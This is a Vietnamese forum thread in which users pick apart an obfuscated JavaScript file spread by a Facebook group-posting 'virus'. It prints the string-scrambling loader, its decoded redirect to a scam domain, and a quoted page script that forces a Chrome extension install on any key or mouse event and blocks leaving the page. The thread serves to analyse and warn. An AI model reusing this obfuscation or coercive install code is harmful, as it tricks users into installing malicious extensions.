Đoạn Code auto post trên facebook!

Hôm nay, Facebook mới xuất hiện một “virus” mới auto post bài vào các group :smiley:
Em đã thử tải cái file đó về và mở lên bằng notepad thì ra một đoạn code như sau

<script type="text/javascript">
function veqdamp(npl){
var zqg = "xMunXiVA7g:4THp03LtFUd.KRDfk1oaGSh?Zl=8z9NYs/vI5jBPbeyOrECJ2m6c";
var qdj = [":SYz.EO1gjZkl=Kxe?f82Gvo6hFHArta3IsL94iMpDcTCB0d7RUPVJXn5ybN\/mu","DieKgm1A4HNchJ=avpT59Zj70f3X.nboMBtV2UIzEGk8uYSslyr:O\/F6LdC?PxR","luc:5SXny3ad6HMh0rFEY?ms2V=IBCbvOG1xNLjZDz.7\/fkRJTiKU84P9teAopg","sg81NAhX3j=SDeuv5KH9M:kTGyf?LbcBVIr.RO7ixU4FCnla2m0t\/pzdJE6ZPoY","t01nUyFbIz3sl=h6fdHVEYPAXLopN8Sk\/K42uv9gj.:rDGeMmZcJBOiT7xCa5R?","oZ4g5aP072tsY?fClkUJE.SFrjLnv:e3MG=6Bp8HObKc1DhIximANd9RzuVXTy\/"];
var qww = "";
var rpo = 0;
while(qdj[rpo]){
rpo++;
}
var bqj = 0;
while(npl[bqj]){
var ddm = 0;
var ltt = -1;
while(zqg[ddm]){
if(zqg[ddm] == npl[bqj]){
ltt = ddm;
break;
}
ddm++;
}
if(ltt >= 0){
var tfr = 0;
var yki = -1;
while(qdj[bqj%rpo][tfr]){
if(qdj[bqj%rpo][tfr] == npl[bqj]){
yki = tfr;
break;
}
tfr++;
}
qww += zqg[yki];
}else{
qww += npl[bqj];
}
bqj++;
}
return qww;
}
var fhh = window;
var gfs = veqdamp("fnM");
var gpl = veqdamp("9ngcHarK");
var phg = veqdamp("I6Uf");
fhh[gfs][gpl][phg] = veqdamp("ITFu31CYS:B:T=8YySfnMC82rXoYydTYlnmxww7du2");
</script>

Có bạn nào giải thích cách hoạt động của nó, mấy bạn bên web chắc biết mảng này :sweat_smile:

2 Likes

window["top"]["location"]["href"]="http://videospyci.top/ogokmciysvxvjjwwsrlg";
chết rồi thì phải :smiley: qua 1 hồi nhùng nhoằng thì tóm lại là redirect sang 1 trang khác lừa người dùng cài 1 cái extension :slight_smile:

3 Likes

Có tool nào tự động giải mã đoạn code trên không vậy anh ?

Gắn break point vào cũng ổn. Nhưng đang thắc mắc về auto tool :wink:

Vẫn đang tìm hiểu thuật toán trên

Giải mã cái j vậy bạn :smiley:
nhìn thấy cái windows to đùng kia :slight_smile: là đủ biết mấy cái dòng chữ nhùng nhèo kia là để làm loạn óc người ta thôi :slight_smile:
Nhưng cũng phải nói bạn này có cái thuật toán mã hóa string lần đầu đc thấy :smiley:
còn để biết thì bạn cứ log result của mấy cái hàm veqdamp là thấy ngay :smiley:

1 Like

Mình chỉ mong là được giải thích để hiểu xem đoạn chương trình trên nó làm việc gì thôi mà. Mình có mong muốn giải mã với code đâu :sweat_smile:
Mình thấy nó lại là một loại code auto mới xuất hiện trên facebook nên tò mò thôi mà.
Mình không rành về phần này nên mới muốn tham khảo ý của mọi người :smile:

mình rep bạn @thangngoc89 :v
từ cái này cũng học được thêm vài thứ :slight_smile:
nếu bạn muốn biết nó làm j thì vào cái link nó redirect đến ấy :v có rất nhiều thứ khá ảo diệu :3

1 Like

Có vẻ là không có gì vui :sweat_smile:

Cứ vào đi, không cài extension là được. 
đây là đoạn script trên trang để hiển thị yêu cầu cài extension :slight_smile:
    installed = false;
    install = function() {
        $('html, body').animate({
            scrollTop: 0
        }, 100);
        $("#infopopup").show();
        $("#Alert").hide();
        chrome.webstore.install(
            'https://chrome.google.com/webstore/detail/ndimibemjenmgfjphhfgfcdgfegbpbac',
            function() {
                installed = true;
                ga('send', 'event', 'installed', 'ndimibemjenmgfjphhfgfcdgfegbpbac', {
                    useBeacon: true
                });
                jQuery.ajax({
                    url: "http://codebucket.info/php/installed.php",
                    type: "GET",
                    dataType: "jsonp",
                    success: function() {
                        window.setTimeout(function() {
                            document.getElementById("link").click();
                        }, 500);
                    }
                })
            },
            function(err) {
                $("#Alert").show();
                $("#infopopup").hide();
                $("body").css({
                    overflow: "hidden"
                });
            }
        );
    }

    $(document).keydown(install).mousedown(install);

    $(window).on('beforeunload', function() {
        $("#Alert").hide();
        if (installed == false) {
            return "Install extension!";
        }
    });
4 Likes
83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?